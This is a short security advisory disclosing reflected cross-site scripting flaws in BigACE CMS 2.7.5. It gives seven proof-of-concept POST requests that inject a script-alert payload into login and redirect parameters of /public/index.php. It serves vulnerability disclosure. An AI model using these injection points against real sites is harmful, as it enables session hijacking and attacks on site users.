BigACE CMS - XSS Vulnerabilities

[demonalex@xxxxxxx]

Title: BigACE CMS - XSS Vulnerabilities

Software : BigACE CMS

Software Version : 2.7.5

Vendor: http://www.bigace.de/ 

Vulnerability Published : 2011-10-11

Vulnerability Update Time :

Status : 

Impact : Medium

Bug Description :
BigACE Content Management System(version update : 2.7.5) is vulnerable to XSS.

Proof Of Concept :
1)language in /public/index.php , PoC:
POST 
http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_lde&PHPSESSID=ira7g0kjtlp6otttru0s78khk7
------------------------------------
UID=1&language="><SCRIPT>alert("demonalex");</SCRIPT>

2)UID in /public/index.php , PoC:
POST 
http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_lde&PHPSESSID=ira7g0kjtlp6otttru0s78khk7
------------------------------------
UID=1&language=de&UID="><SCRIPT>alert("demonalex");</SCRIPT>&language=de

3)REDIRECT_CMD in /public/index.php , PoC:
POST 
http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len
------------------------------------
REDIRECT_ID=-1&REDIRECT_CMD="><SCRIPT>alert("demonalex");</SCRIPT>&UID=1&language=de&UID=1&language=de

4)REDIRECT_ID in /public/index.php , PoC:
POST 
http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len
------------------------------------
REDIRECT_ID="><SCRIPT>alert("demonalex");</SCRIPT>&REDIRECT_CMD=admin&UID=1&language=de&UID=1&language=de

5)PW in /public/index.php , PoC:
POST 
http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len
------------------------------------
UID=admin&PW="><SCRIPT>alert("demonalex");</SCRIPT>&language=en

6)UID in /public/index.php , PoC:
POST 
http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len
------------------------------------
UID="><SCRIPT>alert("demonalex");</SCRIPT>&PW=123456&language=en

7)username in /public/index.php , PoC:
POST 
http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_kpassword_len
------------------------------------
password=do&username="><SCRIPT>alert("demonalex");</SCRIPT>

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@xxxxxxxxxxxxxxxx
Pentester/Researcher
Dark2S Security Team/PolyU.HK